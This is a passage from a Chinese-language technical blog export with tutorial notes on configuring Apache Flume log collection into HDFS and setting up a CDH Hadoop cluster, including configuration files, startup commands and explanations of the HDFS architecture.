的 Agent 和 Collector 分布如下表所示： 名称 HOST 角色 Agent1 node01 Web Server Collector1 node02 AgentMstr1 Collector2 node03 AgentMstr2 图中所示，Agent1 数据分别流入到 Collector1 和 Collector2，Flume NG 本身提供了 Failover 机制，可以自动切换和恢复。在上图中，有 3 个产生日志服务器分布在不同的机房，要把所有的日志都收集到一个集群中存储。下 我们开发配置 Flume NG 集群 node01 安装配置 flume 与拷贝文件脚本将 node03 机器上面的 flume 安装包拷贝到 node01 机器上面去 node03 机器执行以下命令 cd /export/serversscp -r apache-flume-1.6.0-cdh5.14.0-bin/ node01:$PWD node01 机器配置 agent 的配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim agent.conf agent.conf#agent1 nameagent1.channels = c1agent1.sources = r1agent1.sinks = k1 k2###set gruopagent1.sinkgroups = g1###set channelagent1.channels.c1.type = memoryagent1.channels.c1.capacity = 1000agent1.channels.c1.transactionCapacity = 100#agent1.sources.r1.channels = c1agent1.sources.r1.type = execagent1.sources.r1.command = tail -F/export/servers/taillogs/access_log#agent1.sources.r1.interceptors = i1 i2agent1.sources.r1.interceptors.i1.type = staticagent1.sources.r1.interceptors.i1.key = Typeagent1.sources.r1.interceptors.i1.value = LOGINagent1.sources.r1.interceptors.i2.type = timestamp### set sink1agent1.sinks.k1.channel = c1agent1.sinks.k1.type = avroagent1.sinks.k1.hostname = node02agent1.sinks.k1.port = 52020### set sink2agent1.sinks.k2.channel = c1agent1.sinks.k2.type = avroagent1.sinks.k2.hostname = node03agent1.sinks.k2.port = 52020###set sink groupagent1.sinkgroups.g1.sinks = k1 k2###set failoveragent1.sinkgroups.g1.processor.type = failoveragent1.sinkgroups.g1.processor.priority.k1 = 10agent1.sinkgroups.g1.processor.priority.k2 = 1agent1.sinkgroups.g1.processor.maxpenalty = 10000# node02 与 node03 配置 flumecollectionnode02 机器修改配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim collector.conf collector.conf#set Agent namea1.sources = r1a1.channels = c1a1.sinks = k1###set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100### other node,nna to nnsa1.sources.r1.type = avroa1.sources.r1.bind = node02a1.sources.r1.port = 52020a1.sources.r1.interceptors = i1a1.sources.r1.interceptors.i1.type = statica1.sources.r1.interceptors.i1.key = Collectora1.sources.r1.interceptors.i1.value = node02a1.sources.r1.channels = c1###set sink to hdfsa1.sinks.k1.type=hdfsa1.sinks.k1.hdfs.path= hdfs://node01:8020/flume01/failover/a1.sinks.k1.hdfs.fileType=DataStreama1.sinks.k1.hdfs.writeFormat=TEXTa1.sinks.k1.hdfs.rollInterval=10a1.sinks.k1.channel=c1a1.sinks.k1.hdfs.filePrefix=%Y-%m-%d# node03 机器修改配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim collector.conf collector.conf#set Agent namea1.sources = r1a1.channels = c1a1.sinks = k1###set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100### other node,nna to nnsa1.sources.r1.type = avroa1.sources.r1.bind = node03a1.sources.r1.port = 52020a1.sources.r1.interceptors = i1a1.sources.r1.interceptors.i1.type = statica1.sources.r1.interceptors.i1.key = Collectora1.sources.r1.interceptors.i1.value = node03a1.sources.r1.channels = c1###set sink to hdfsa1.sinks.k1.type=hdfsa1.sinks.k1.hdfs.path= hdfs://node01:8020/flume01/failover/a1.sinks.k1.hdfs.fileType=DataStreama1.sinks.k1.hdfs.writeFormat=TEXTa1.sinks.k1.hdfs.rollInterval=10a1.sinks.k1.channel=c1a1.sinks.k1.hdfs.filePrefix=%Y-%m-%d 顺序启动命令node03 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/collector.conf -Dflume.root.logger=DEBUG,console node02 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/collector.conf -Dflume.root.logger=DEBUG,console node01 机器上面启动 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n agent1 -c conf -f conf/agent.conf -Dflume.root.logger=DEBUG,console node01 机器启动文件产生脚本 mkdir -p /export/servers/shells/mkdir -p /export/servers/taillogscd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedo date >> /export/servers/taillogs/access_log; sleep 0.5;done 启动脚本 sh /export/servers/shells/tail-file.sh tail -f access_log"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Flume/index.html","permalink":"https://blog.mhuig.top/notes/Flume/","excerpt":".fa-secondary{opacity:.4} Flume","text":".fa-secondary{opacity:.4} Flume Flume .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/overview.html","permalink":"https://blog.mhuig.top/notes/Flume/overview","excerpt":"","text":"Overview Flume 介绍 在一个完整的离线大数据处理系统中，除了 hdfs + mapreduce + hive 组成分析系统的核心之外，还需要数据采集、结果数据导出、任务调度等不可或缺的辅助系统，而这些辅助工具在 hadoop 生态体系中都有便捷的开源框架 日志采集框架 FlumeFlume 是一个分布式、可靠、和高可用的海量日志采集、聚合和传输的系统。 Flume 可以采集文件，socket 数据包、文件、文件夹、kafka 等各种形式源数据，又可以将采集到的数据 (下沉 sink) 输出到 HDFS、hbase、hive、kafka 等众多外部存储系统中 一般的采集需求，通过对 flume 的简单配置即可实现 Flume 针对特殊场景也具备良好的自定义扩展能力，因此，flume 可以适用于大部分的日常数据采集场景 运行机制1、 Flume 分布式系统中最核心的角色是 agent，flume 采集系统就是由一个个 agent 所连接起来形成2、每一个 agent 相当于一个数据传递员，内部有三个组件： a) Source：采集组件，用于跟数据源对接，以获取数据 b) Sink：下沉组件，用于往下一级 agent 传递数据或者往最终存储系统传递数据 c) Channel：传输通道组件，用于从 source 将数据传递到 sink Flume 采集系统结构图简单结构单个 agent 采集数据 复杂结构多级 agent 之间串联"},{"title":"","date":"2019-05-10T06:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/spooldir.html","permalink":"https://blog.mhuig.top/notes/Flume/spooldir","excerpt":"","text":"监控目录变化 Flume 监控目录变化 需求分析采集需求：某服务器的某特定目录下，会不断产生新的文件，每当有新文件出现，就需要把文件采集到 HDFS 中去 根据需求，首先定义以下 3 大要素数据源组件，即 source —— 监控文件目录 : spooldir下沉组件，即 sink —— HDFS 文件系统 : hdfs sink通道组件，即 channel —— 可用 file channel 也可以用内存 channel spooldir 特性： 1、监视一个目录，只要目录中出现新文件，就会采集文件中的内容 2、采集完成的文件，会被 agent 自动添加一个后缀：COMPLETED 3、所监视的目录中不允许重复出现相同文件名的文件 flume 配置文件开发cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confmkdir -p /export/servers/dirfilevim spooldir.conf spooldir.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the source##name is only onea1.sources.r1.type = spooldira1.sources.r1.spoolDir = /export/servers/dirfilea1.sources.r1.fileHeader = true# Describe the sinka1.sinks.k1.type = hdfsa1.sinks.k1.channel = c1a1.sinks.k1.hdfs.path =hdfs://node01:8020/spooldir/files/%y-%m-%d/%H%M/a1.sinks.k1.hdfs.filePrefix = eventsa1.sinks.k1.hdfs.round = truea1.sinks.k1.hdfs.roundValue = 10a1.sinks.k1.hdfs.roundUnit = minutea1.sinks.k1.hdfs.rollInterval = 3a1.sinks.k1.hdfs.rollSize = 20a1.sinks.k1.hdfs.rollCount = 5a1.sinks.k1.hdfs.batchSize = 1a1.sinks.k1.hdfs.useLocalTimeStamp = true#gen filestyle,default Sequencefile,use DataStream texta1.sinks.k1.hdfs.fileType = DataStream# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 Channel 参数解释：capacity：默认该通道中最大的可以存储的 event 数量trasactionCapacity：每次最大可以从 source 中拿到或者送到 sink 中的 event 数量keep-alive：event 添加到通道中或者移出的允许时间 启动 flumebin/flume-ng agent -c ./conf -f ./conf/spooldir.conf -n a1 -Dflume.root.logger=INFO,console 上传文件到指定目录将不同的文件上传到下面目录里面去，注意文件不能重名 cd /export/servers/dirfile"},{"title":"","date":"2019-05-10T06:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/tail-file.html","permalink":"https://blog.mhuig.top/notes/Flume/tail-file","excerpt":"","text":"监控文件变化 Flume 监控文件变化 需求分析采集需求：比如业务系统使用 log4j 生成的日志，日志内容不断增加，需要把追加到日志文件中的数据实时采集到 hdfs 根据需求，首先定义以下 3 大要素 采集源，即 source—— 监控文件内容更新 : exec 'tail -F file' 下沉目标，即 sink——HDFS 文件系统 : hdfs sink Source 和 sink 之间的传递通道 ——channel，可用 file channel 也可以用 内存 channel 定义 flume 的配置文件node03 开发配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim tail-file.conf tail-file.confagent1.sources = source1agent1.sinks = sink1agent1.channels = channel1# Describe/configure tail -F source1agent1.sources.source1.type = execagent1.sources.source1.command = tail -F /export/servers/taillogs/access_logagent1.sources.source1.channels = channel1#configure host for source#agent1.sources.source1.interceptors = i1#agent1.sources.source1.interceptors.i1.type = host#agent1.sources.source1.interceptors.i1.hostHeader = hostname# Describe sink1agent1.sinks.sink1.type = hdfs#agent1.sinks.sink1.channel = channel1agent1.sinks.sink1.hdfs.path = hdfs://192.168.52.100:8020/weblog/flumecollection/%y-%m-%d/%H-%Magent1.sinks.sink1.hdfs.filePrefix = access_logagent1.sinks.sink1.hdfs.maxOpenFiles = 5000agent1.sinks.sink1.hdfs.batchSize= 100agent1.sinks.sink1.hdfs.fileType = DataStreamagent1.sinks.sink1.hdfs.writeFormat =Textagent1.sinks.sink1.hdfs.rollSize = 102400agent1.sinks.sink1.hdfs.rollCount = 1000000agent1.sinks.sink1.hdfs.rollInterval = 60agent1.sinks.sink1.hdfs.round = trueagent1.sinks.sink1.hdfs.roundValue = 10agent1.sinks.sink1.hdfs.roundUnit = minuteagent1.sinks.sink1.hdfs.useLocalTimeStamp = true# Use a channel which buffers events in memoryagent1.channels.channel1.type = memoryagent1.channels.channel1.keep-alive = 120agent1.channels.channel1.capacity = 500000agent1.channels.channel1.transactionCapacity = 600# Bind the source and sink to the channelagent1.sources.source1.channels = channel1agent1.sinks.sink1.channel = channel1 创建文件夹mkdir -p /export/servers/taillogs 启动 flumecd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -c conf -f conf/tail-file.conf -n agent1 -Dflume.root.logger=INFO,console 开发 shell 脚本定时追加文件内容mkdir -p /export/servers/shells/cd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedo date >> /export/servers/taillogs/access_log; sleep 0.5;done 启动脚本sh /export/servers/shells/tail-file.shtail -f access_log"},{"title":"","date":"2019-09-19T08:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/cdh.html","permalink":"https://blog.mhuig.top/notes/Hadoop/cdh","excerpt":"","text":"CDH 伪分布式 大数据处理技术 - CDH 伪分布式环境搭建 CDH 伪分布式环境搭建（适用于学习测试开发集群模式） 集群运行服务规划 服务器 IP 192.168.52.100 192.168.52.110 192.168.52.120 HDFS NameNode Secondary NameNode DataNode DataNode DataNode YARN ResourceManager NodeManager NodeManager NodeManager MapReduce JobHistoryServer cdh 所有软件下载地址：http://archive.cloudera.com/cdh5/cdh/5/ 上传压缩包并解压将我们重新编译之后支持 snappy 压缩的 hadoop 包上传到第一台服务器并解压第一台机器执行以下命令 cd /export/softwares/ mv hadoop-2.6.0-cdh5.14.0-compile.tar.gz hadoop-2.6.0-cdh5.14.0.tar.gz tar -zxvf hadoop-2.6.0-cdh5.14.0.tar.gz -C ../servers/ 查看 hadoop 支持的压缩方式以及本地库第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0bin/hadoop checknative 如果出现 openssl（安全通信）为 false，那么所有机器在线安装 openssl 即可，执行以下命令，虚拟机联网之后就可以在线进行安装了 yum -y install openssl-devel 修改配置文件修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim core-site.xml core-site.xml<configuration> <property> <name>fs.defaultFS</name> <value>hdfs://node01:8020</value> </property> <property> <name>hadoop.tmp.dir</name> <value>/export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/tempDatas</value> </property> <property> <name>io.file.buffer.size</name> <value>4096</value> </property> <property> <name>fs.trash.interval</name> <value>10080</value> </property></configuration> 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hdfs-site.xml hdfs-site.xml<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>node01:50090</value> </property> <property> <name>dfs.namenode.http-address</name> <value>node01:50070</value> </property> <property> <name>dfs.namenode.name.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas</value> </property> <property> <name>dfs.datanode.data.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/datanodeDatas</value> </property> <property> <name>dfs.namenode.edits.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/edits</value> </property> <property> <name>dfs.namenode.checkpoint.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/snn/name</value> </property> <property> <name>dfs.namenode.checkpoint.edits.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/snn/edits</value> </property> <property> <name>dfs.replication</name> <value>3</value> </property> <property> <name>dfs.permissions</name> <value>false</value> </property> <property> <name>dfs.blocksize</name> <value>134217728</value> </property></configuration> 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 mapred-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim mapred-site.xml mapred-site.xml<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.job.ubertask.enable</name> <value>true</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>node01:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>node01:19888</value> </property></configuration> 修改 yarn-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim yarn-site.xml yarn-site.xml<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>node01</value> </property> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> <property> <name>yarn.log-aggregation-enable</name> <value>true</value> </property> <property> <name>yarn.log-aggregation.retain-seconds</name> <value>604800</value> </property></configuration> 修改 slaves 文件第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim slaves slavesnode01node02node03 创建文件存放目录第一台机器执行以下命令node01 机器上面创建以下目录 mkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/tempDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/editsmkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/snn/namemkdir -p /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/snn/edits 安装包的分发第一台机器执行以下命令 cd /export/servers/scp -r hadoop-2.6.0-cdh5.14.0/ node02:$PWDscp -r hadoop-2.6.0-cdh5.14.0/ node03:$PWD 配置 hadoop 的环境变量三台机器都要进行配置 hadoop 的环境变量三台机器执行以下命令 vim /etc/profile /etc/profileexport HADOOP_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export PATH=:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$PATH 配置完成之后生效 source /etc/profile 集群启动要启动 Hadoop 集群，需要启动 HDFS 和 YARN 两个集群。注意：首次启动 HDFS 时，必须对其进行格式化操作。本质上是一些清理和准备工作，因为此时的 HDFS 在物理上还是不存在的。 bin/hdfs namenode -format 脚本一键启动如果配置了 etc/hadoop/slaves 和 ssh 免密登录，则可以使用程序脚本启动所有 Hadoop 两个集群的相关进程，在主节点所设定的机器上执行。启动集群node01 节点上执行以下命令第一台机器执行以下命令 cd /export/servers/hadoop-2.6.0-cdh5.14.0/sbin/start-dfs.shsbin/start-yarn.shsbin/mr-jobhistory-daemon.sh start historyserver 停止集群 没事儿不要去停止集群 sbin/stop-dfs.shsbin/stop-yarn.shsbin/mr-jobhistory-daemon.sh stop historyserver 浏览器查看启动页面hdfs 集群访问地址http://192.168.52.100:50070/dfshealth.html#tab-overview yarn 集群访问地址http://192.168.52.100:8088/cluster jobhistory 访问地址：http://192.168.52.100:19888/jobhistory"},{"title":"","date":"2019-09-19T08:34:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/first-experience.html","permalink":"https://blog.mhuig.top/notes/Hadoop/first-experience","excerpt":"","text":"Hadoop 集群初体验 大数据处理技术 - Hadoop 集群初体验 HDFS 使用体验从 Linux 本地上传一个文本文件到 hdfs 的 /test/input 目录下递归的创建文件夹： hdfs dfs -mkdir -p /test/inputhdfs dfs -ls / 分布式文件系统来源于本地磁盘 hdfs dfs -put /root/install.log /test/input MapReduce 程序初体验在 Hadoop 安装包的 hadoop-2.6.0-cdh5.14.0/share/hadoop/mapreduce 下 有 官 方 自 带 的 MapReduce 程序。我们可以使用如下的命令进行运行测试。示例程序 jar: hadoop-mapreduce-examples-2.6.0-cdh5.14.0.jar 计算圆周率: hadoop jar /export/servers/hadoop-2.6.0-cdh5.14.0/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.6.0-cdh5.14.0.jar pi 2 5 关于圆周率的估算，感兴趣的可以查询资料 Monte Carlo 方法来计算 Pi 值。 底层日志线程异常，不用管！"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/hadoop-arch.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hadoop-arch","excerpt":"","text":"架构模型 大数据处理技术 - hadoop 的架构模型（1.x，2.x 的各种架构模型介绍） 1.x 的版本架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块JobTracker：接收用户的计算请求任务，并分配任务给从节点 TaskTracker：负责执行主节点 JobTracker 分配的任务 2.x 的版本架构模型第一种：NameNode 与 ResourceManager 单节点架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配 NodeManager：负责执行主节点 APPmaster 分配的任务 第二种：NameNode 单节点与 ResourceManager 高可用架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配，以及计算任务的划分，通过 zookeeper 实现 ResourceManager 的高可用 NodeManager：负责执行主节点 ResourceManager 分配的任务 第三种：NameNode 高可用与 ResourceManager 单节点架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据，其中 nameNode 可以有两个，形成高可用状态 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 JournalNode：文件系统元数据信息管理 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配，以及计算任务的划分 NodeManager：负责执行主节点 ResourceManager 分配的任务 第四种：NameNode 与 ResourceManager 高可用架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据，一般都是使用两个，实现 HA 高可用 JournalNode：元数据信息管理进程，一般都是奇数个 DataNode：从节点，用于数据的存储 数据计算核心模块ResourceManager：Yarn 平台的主节点，主要用于接收各种任务，通过两个，构建成高可用 NodeManager：Yarn 平台的从节点，主要用于处理 ResourceManager 分配的任务"},{"title":"","date":"2019-09-19T08:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-arch.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-arch","excerpt":"","text":"HDFS 架构 大数据处理技术 - HDFS 的架构 基础架构 1、 NameNode 是一个中心服务器，单一节点（简化系统的设计和实现），负责管理文件系统的名字空间 namespace 以及客户端对文件的访问2、 文件操作，namenode 是负责文件元数据的操作，datanode 负责处理文件内容的读写请求，跟文件内容相关的数据流不经过 Namenode，只询问它跟哪个 dataNode 联系，否则 NameNode 会成为系统的瓶颈3、 副本存放在哪些 Datanode 上由 NameNode 来控制，根据全局情况作出块放置决定，读取文件时 NameNode 尽量让用户先读取最近的副本（网络拓扑图），降低读取网络开销和读取延时4、 NameNode 全权管理数据库的复制（永远保证有三个副本），它周期性的从集群中的每个 DataNode 接收心跳信合和状态报告，接收到心跳信号意味着 DataNode 节点工作正常，块状态报告包含了一个该 DataNode 上所有的数据列表 NameNode 与 Datanode 的总结概述 NameNode Datanode 存储元数据 存储文件内容 元数据存储在 内存中 文件内容存储在硬盘上 保存文件、block、DataNode 之间的映射关系 维护了 block id 到 DataNode 本地文件之间的映射关系 文件划了几个 block 块，存在那些个 DataNode 上 文件的文件副本机制以及 block 块存储 所有的文件都是以 block 块的方式存放在 HDFS 文件系统当中，在 hadoop1 当中，文件的 block 块默认大小是 64M，hadoop2 当中，文件的 block 块大小默认是 128M，block 块的大小可以通过 hdfs-site.xml 当中的配置文件进行指定 <property> <name>dfs.block.size</name> <value>块大小 以字节为单位</value> <!-- 只写数值就可以 --></property> 元数据信息 FSimage 以及 edits 和 secondaryNN 的作用在 hadoop 当中，使用如下架构的时候 也就是 namenode 就一个的时候，所有的元数据信息都保存在了 FsImage 与 Eidts 文件当中，这两个文件就记录了所有的数据的元数据信息，元数据信息的保存目录配置在了 hdfs-site.xml 当中 <property> <name>dfs.namenode.name.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas</value></property><property> <name>dfs.namenode.edits.dir</name> <value>file:///export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/edits</value></property> FSImage 与 edits 详解客户端对 hdfs 进行写文件时会首先被记录在 edits 文件中。edits 修改时元数据也会更新。每次 hdfs 更新时 edits 先更新后客户端才会看到最新信息。 fsimage:是 namenode 中关于元数据的镜像，一般称为检查点。 一般开始时对 namenode 的操作都放在 edits 中，为什么不放在 fsimage 中呢？因为 fsimage 是 namenode 的完整的镜像，内容很大，如果每次都加载到内存的话生成树状拓扑结构，这是非常耗内存和 CPU。 fsimage 内容包含了 namenode 管理下的所有 datanode 中文件及文件 block 及 block 所在的 datanode 的元数据信息。随着 edits 内容增大，就需要在一定时间点和 fsimage 合并。 合并过程见 SecondaryNameNode 如何辅助管理 FSImage 与 edits FSimage 文件当中的文件信息查看官方查看文档https://hadoop.apache.org/docs/r2.6.0/hadoop-project-dist/hadoop-hdfs/HdfsImageViewer.html 使用命令 hdfs oiv cd /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/namenodeDatas/currenthdfs oiv -i fsimage_0000000000000000150 -p XML -o qlg.xml （md5 校验文件，不是真正文件） edits 当中的文件信息查看官方查看文档https://hadoop.apache.org/docs/r2.6.0/hadoop-project-dist/hadoop-hdfs/HdfsEditsViewer.html 查看命令 hdfs oev cd /export/servers/hadoop-2.6.0-cdh5.14.0/hadoopDatas/dfs/nn/editshdfs oev -i edits_inprogress_0000000000000000001 -o slg.xml -p XML secondarynameNode 如何辅助管理 FSImage 与 Edits 文件 1: secnonaryNN 通知 NameNode 切换 editlog 2: secondaryNN 从 NameNode 中获得 FSImage 和 editlog (通过 http 方式) 3: secondaryNN 将 FSImage 载入内存，然后开始合并 editlog，合并之后成为新的 fsimage 4: secondaryNN 将新的 fsimage 发回给 NameNode 5: NameNode 用新的 fsimage 替换旧的 fsimage 完成合并的是 secondarynamenode，会请求 namenode 停止使用 edits, 暂时将新写操作放入一个新的文件中 edits.new。secondarynamenode 从 namenode 中通过 http get 获得 edits，因为要和 fsimage 合并，所以也是通过 http get 的方式把 fsimage 加载到内存，然后逐一执行具体对文件系统的操作，与 fsimage 合并，生成新的 fsimage，然后把 fsimage 发送给 namenode，通过 http post 的方式。namenode 从 secondarynamenode 获得了 fsimage 后会把原有的 fsimage 替换为新的 fsimage, 把 edits.new 变成 edits。同时会更新 fstime。hadoop 进入安全模式时需要管理员使用 dfsadmin 的 save namespace 来创建新的检查点。secondarynamenode 在合并 edits 和 fsimage 时需要消耗的内存和 namenode 差不多，所以一般把 namenode 和 secondarynamenode 放在不同的机器上。fs.checkpoint.period: 默认是一个小时（3600s)fs.checkpoint.size: edits 达到一定大小时也会触发合并（默认 64MB) HDFS 的文件写入过程 详细步骤解析： 1、 client 发起文件上传请求，通过 RPC 与 NameNode 建立通讯，NameNode 检查目标文件是否已存在，父目录是否存在，返回是否可以上传； 2、 client 请求第一个 block 该传输到哪些 DataNode 服务器上； 3、 NameNode 根据配置文件中指定的备份数量及机架感知原理进行文件分配，返回可用的 DataNode 的地址如：A，B，C；注：Hadoop 在设计时考虑到数据的安全与高效，数据文件默认在 HDFS 上存放三份，存储策略为本地一份，同机架内其它某一节点上一份，不同机架的某一节点上一份。 4、 client 请求 3 台 DataNode 中的一台 A 上传数据（本质上是一个 RPC 调用，建立 pipeline），A 收到请求会继续调用 B，然后 B 调用 C，将整个 pipeline 建立完成，后逐级返回 client； 5、 client 开始往 A 上传第一个 block（先从磁盘读取数据放到一个本地内存缓存），以 packet 为单位（默认 64K），A 收到一个 packet 就会传给 B，B 传给 C；A 每传一个 packet 会放入一个应答队列等待应答。 6、 数据被分割成一个个 packet 数据包在 pipeline 上依次传输，在 pipeline 反方向上，逐个发送 ack（命令正确应答），最终由 pipeline 中第一个 DataNode 节点 A 将 pipelineack 发送给 client; 7、 当一个 block 传输完成之后，client 再次请求 NameNode 上传第二个 block 到服务器。 HDFS 的文件读取过程 详细步骤解析 1、 Client 向 NameNode 发起 RPC 请求，来确定请求文件 block 所在的位置； 2、NameNode 会视情况返回文件的部分或者全部 block 列表，对于每个 block，NameNode 都会返回含有该 block 副本的 DataNode 地址； 这些返回的 DN 地址，会按照集群拓扑结构得出 DataNode 与客户端的距离，然后进行排序，排序两个规则：网络拓扑结构中距离 Client 近的排靠前；心跳机制中超时汇报的 DN 状态为 TALE，这样的排靠后； 3、 Client 选取排序靠前的 DataNode 来读取 block，如果客户端本身就是 DataNode, 那么将从本地直接获取数据 (短路读取特性)； 4、 底层上本质是建立 Socket Stream（FSDataInputStream），重复的调用父类 DataInputStream 的 read 方法，直到这个块上的数据读取完毕； 5、 当读完列表的 block 后，若文件读取还没有结束，客户端会继续向 NameNode 获取下一批的 block 列表； 6、 读取完一个 block 都会进行 checksum 验证，如果读取 DataNode 时出现错误，客户端会通知 NameNode，然后再从下一个拥有该 block 副本的 DataNode 继续读。 7、 read 方法是并行的读取 block 信息，不是一块一块的读取；NameNode 只是返回 Client 请求包含块的 DataNode 地址，并不是返回请求块的数据； 8、 最终读取来所有的 block 会合并成一个完整的最终文件。"},{"title":"","date":"2019-09-19T08:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-java.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-java","excerpt":"","text":"HDFS JavaAPI 大数据处理技术 - HDFS 的 JavaAPI 操作 创建 maven 工程并导入 jar 包由于 cdh 版本的所有的软件涉及版权的问题，所以并没有将所有的 jar 包托管到 maven 仓库当中去，而是托管在了 CDH 自己的服务器上面，所以我们默认去 maven 的仓库下载不到，需要自己手动的添加 repository 去 CDH 仓库进行下载，以下两个地址是官方文档说明，请仔细查查阅https://www.cloudera.com/documentation/enterprise/releasenotes/topics/cdh_vd_cdh5_maven_repo.htmlhttps://www.cloudera.com/documentation/enterprise/releasenotes/topics/cdh_vd_cdh5_maven_repo_514x.html <repositories> <repository> <id>cloudera</id> <url>https://repository.cloudera.com/artifactory/cloudera-repos/</url> </repository></repositories><dependencies> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-client</artifactId> <version>2.6.0-mr1-cdh5.14.0</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-common</artifactId> <version>2.6.0-cdh5.14.0</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-hdfs</artifactId> <version>2.6.0-cdh5.14.0</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-mapreduce-client-core</artifactId> <version>2.6.0-cdh5.14.0</version> </dependency> <!-- https://mvnrepository.com/artifact/junit/junit --> <dependency> <groupId>junit</groupId> 